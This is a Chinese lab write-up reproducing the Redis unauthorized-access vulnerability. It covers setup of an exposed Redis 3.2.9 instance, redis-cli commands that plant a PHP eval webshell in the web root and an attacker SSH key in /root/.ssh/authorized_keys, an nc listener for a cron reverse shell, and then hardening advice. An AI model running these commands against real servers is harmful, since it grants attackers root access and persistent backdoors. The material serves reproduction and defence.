Redis 未授权访问漏洞复现(包括环境搭建)

Andrew 2020-10-11
Web安全 发布于 2020-10-11 15:26:13 阅读 70 评论 0

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1 Redis环境搭建

1.工具
redis版本:3.2.9

链接:http://download.redis.io/releases/redis-3....
操作系统:centos 6.9

2.redis安装步骤
a.解压redis
tar -zxvf redis-3.2.9.tar.gz
b.重命名redis
mv redis-3.2.9 /usr/local/redis
c.编译安装redis
cd /usr/local/redis
make & make install
redis刚安装好时只能通过本地localhost (127.0.0.1)访问,而不能用其他网络ip区访问,如果没有配置好redis.conf使用网络ip访问redis会报以下的错误:

(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the lookback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the --portected-mode no option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

出现这个错误说明redis处于保护模式,只能本地访问,我们需要修改配置文件redis.conf配置文件。
1)打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)
# bind 127.0.0.1
2)Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no
daemonize no
3)保护模式
protected-mode no
4)重新启动配置文件才会生效:
redis-server redis.conf(在redis.conf文件目录下执行)
5)关闭防火墙
6)出现如下信息说明环境已配置完成

No.2 拿shell的三种姿势

一、通过向Web目录中写webshell

*1.测试环境 *

攻击A(kali):192.168.192.171
靶机B(CentOS):192.168.192.181

2.测试步骤
./redis-cli -h 192.168.192.181 config set dir /var/www/html set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n" config set dbfilename 1.php Save

用菜刀连接:

打开虚拟终端执行命令:

二、利用计划任务执行命令反弹shell

*1.测试环境 *

攻击A(kali):192.168.192.171
靶机B(CentOS):192.168.192.181

2.测试步骤
先在A上监听一个端口: nc -lvnp 7777
然后利用redis以root权限运行时写crontab

三、写入ssh公钥,获取操作系统权限

*1.测试环境 *

靶机:centos6.9 ip:172.16.1.150
攻击机:RH6.5 ip:172.16.1.133

2.测试步骤
首先在本地生产公私钥文件:
$ ssh-keygen –t rsa

注意:记住生成公钥是填写的passphrase,因为这是登录到靶机的密码。
然后将公钥写入 test.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
连接 靶机Redis 写入文件
$ redis-cli -h 172.16.1.150
$ 172.16.1.150:6379> config set dir /root/.ssh/
OK
$ 172.16.1.150:6379> config get dir
1) "dir"
2) "/root/.ssh"$ 172.16.1.150:6379> config set dbfilename “authorized_keys”OK$ 172.16.1.150:6379> saveOK`

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行ssh 172.16.1.150,输入生成公钥时填的key作为靶机的密码

No.3 修复建议

网上收集的一些修复建议:

1.禁止一些高危命令

修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword

4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1

5.保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

原创: smart 雷神众测
原文链接:https://mp.weixin.qq.com/s/4VGee2YMLc5YOrw...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!